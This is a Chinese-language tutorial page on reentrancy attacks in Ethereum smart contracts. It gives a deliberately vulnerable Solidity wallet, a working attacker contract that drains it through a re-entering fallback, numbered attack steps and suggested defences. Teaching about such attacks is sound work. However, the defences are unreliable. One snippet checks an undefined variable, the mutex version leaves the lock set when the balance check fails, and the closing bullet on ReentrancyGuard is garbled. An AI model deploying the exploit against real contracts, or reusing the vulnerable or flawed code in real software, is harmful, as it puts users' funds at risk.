> For the complete documentation index, see [llms.txt](https://xiangganzi.gitbook.io/flashloan/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xiangganzi.gitbook.io/flashloan/chang-jian-gong-ji-fang-shi/dai-wan-shan.md).

# 重入攻击

重入攻击本质上与编程里的递归调用类似，当合约将以太币发送到未知地址时就可能会发生，威胁以太坊智能合约的安全性。

调用外部合约或将以太币发送到地址的操作要求合约提交外部调用。这些外部调用可以被攻击者劫持，从而迫使合约执行更多的代码（即通过 fallback 回退函数），包括回调原合约本身。所以，合约代码执行过程中将可以“重入”该合约。

网上重入攻击的教程都属于比较老的版本，新版本solidity代码编写格式有所变化，以下附上新版本重入攻击的代码教程。参考 <https://github.com/wenzhenxiang/Re-Entrancy>

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

// 钱包管理合约
contract Wallet { 
  mapping(address => uint) public balances;
  
  function deposit(address _to) public payable {
    balances[_to] = balances[_to]+msg.value;
  }
 
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }
 
  function withdraw(uint _amount) public {
    bool checkstatus;
    if(balances[msg.sender] >= _amount) {
        
      (checkstatus,) = msg.sender.call{value:_amount}('');
      if(checkstatus) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
 
}
 
// 重入攻击合约
contract AttackWallet {
 
    Wallet reInstance;
    
    function getEther() public{
        payable(msg.sender).transfer(payable(address(this)).balance);
    }
    
    constructor(address _addr) {
        reInstance = Wallet(payable(_addr));
    }
    function callDeposit() public payable{
        reInstance.deposit{value:msg.value}(address(this));
    }
 
    function attack() public {
        reInstance.withdraw(1 gwei);
    }
 
    fallback() external payable {
      if(address(reInstance).balance >= 1 gwei){
        reInstance.withdraw(1 gwei);
      }
  }
}
```

攻击流程

1. 部署钱包管理合约`Wallet`
2. 普通用户可以去调用`deposit` 接口进行存钱
3. 部署重入攻击合约`AttackWallet`
4. 调用重入攻击合约的`callDeposit`进行存款
5. 发起攻击`attack`
6. 提前攻击收益`getEther`

可以看到`fallback`代码里的判断条件，触发`attack`后，将会“重入”提取钱包合约的金额，直到`Wallet`合约地址的余额低于1 gwei。

## 如何避免重入攻击

推荐的做法有：

* 采用Checks-Effects-Interactions模式

```
function withdraw(uint _amount) public {
  if (amount <= balances[msg.sender]) { //Checks
    balances[msg.sender] -= _amount; //Effects
    msg.sender.call{value:_amount}(''); //Interactions
  }
}
```

* 使用互斥锁：添加一个在代码执行过程中锁定合约的状态，可防止重入调用

```
bool reEntrancyMutex = false;
function withdraw(uint _amount) public {
    require(!reEntrancyMutex);
    bool checkstatus;
    reEntrancyMutex = true;
    if(balances[msg.sender] >= _amount) {
      (checkstatus,) = msg.sender.call{value:_amount}('');
      if(checkstatus) {
        _amount;
      }
      balances[msg.sender] -= _amount;
      reEntrancyMutex = false;
    }
 }
```

* 使用 OpenZeppelin 官方的[ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)合约中的`nonReentrant`词：如果\
  在合约的执行过程中无法确保不创建，应尽量避免调用其他（不受信任的）合约。如果调用调用，可使用重入守卫来避免重入问题。
